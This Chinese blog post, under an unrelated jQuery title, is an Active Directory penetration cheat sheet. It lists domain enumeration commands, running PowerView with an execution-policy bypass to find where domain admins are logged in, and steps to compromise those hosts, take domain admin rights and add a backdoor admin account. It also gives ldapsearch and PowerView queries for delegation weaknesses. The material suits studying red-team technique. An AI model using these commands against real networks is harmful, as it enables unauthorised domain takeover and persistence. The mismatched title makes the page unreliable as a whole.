jQuery火箭图标返回顶部代码

首先查看当前机器的网络环境,收集域内的信息,包括所有的用户名和计算机以及相关关键组的信息。

 net user /domain  查看域用户

net view /domain  查看几个域

net view domain:XXX  查看域内的主机

net group /domain  查看域内的组

net group "domain computers" /domain  查看域内的所有主机名

net group "domain admins" /domain   查看域管理员

net group "domain controllers" /domain  查看域控制器

net group "enterprise admins" /domain   查看企业管理组

net time/domain 查看时间服务器

net group "Domain controllers" 查看域控制器(多域控制器的时候,而且只能用在域控制器上)

查看域内用户的详细信息:wmic useraccount get /all   可以获取到用户名,描述信息,SID域名

通过以上信息,关键是要探测出域管理员的名字和域服务器的名字等信息。

一、定位域控服务器

1.查看域控的机器名

nltest /DCLIST:ZENG

2.查看域控的主机名

Nslookup -type=SRV _ldap._tcp

3.查看当前时间

在通常情况下,时间服务器是为主域控器

net time /domain

 4. 查看域控制器组

net group "domain controllers" /domain

 5.

netdom query pdc

 

powershell 寻找域管在线服务器

下载一个powerview脚本

powershell.exe -exec bypass -Command"&{Import-Module .powerview.ps1;Invoke-UserHunter}"`

然后入侵域管所登录的服务器,迁移进程,就获得域管理员的权限

Get-NetDomain: 获取当前用户所在域的名称
Get-NetUser: 获取所有用户的详细信息
Get-NetDomainController: 获取所有域控制器的信息
Get-NetComputer: 获取域内所有机器的详细信息
Get-NetOU: 获取域中的OU信息
Get-NetGroup: 获取所有域内组和组成员信息
Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息
Get-NetShare: 获取当前域内所有网络共享信息
Get-NetSession: 获取指定服务器的会话
Get-NetRDPSession: 获取指定服务器的远程连接
Get-NetProcess: 获取远程主机的进程
Get-UserEvent: 获取指定用户的日志
Get-ADObiect: 获取活动目录的对象
Get-NetGPO: 获取域内所有的组策略对象
Get-DomainPolicy: 获取域默认策略或域控制器策略
Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户
Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。
Invoke-ACLScanner 枚举检查活动目录中可能存在风险的ACL配置

添加域管理员账户

在域管理员权限下面了,所以要给域控添加一个管理员账户

net user 账户 密码 /ad /domain

非约束委派的用户(kali自带工具,适合域外查询)

ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

 查找域中配置非约束委派的主机:

ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

:域控主机账户默认开启非约束委派

 :区别服务用户和主机的区别是samAccountType=805306368 (0x30000000)时为用户,samAccountType=805306369 (0x30000001)时为主机

PowerView

查找域中配置非约束委派用户

Get-NetUser -Unconstrained -Domain qiyou.com |select name

查找域中配置非约束委派的主机:

Get-NetComputer -Unconstrained -Domain qiyou.com

 约束委派:

ldapsearch

查找域中配置约束委派用户

ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

查找域中配置约束委派的主机:

ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

PowerView

 查找域中配置约束委派用户

Get-DomainUser –TrustedToAuth -domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

查找域中配置约束委派的主机:

Get-DomainComputer -TrustedToAuth -Domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
原文地址:https://www.cnblogs.com/kuaile1314/p/11238854.html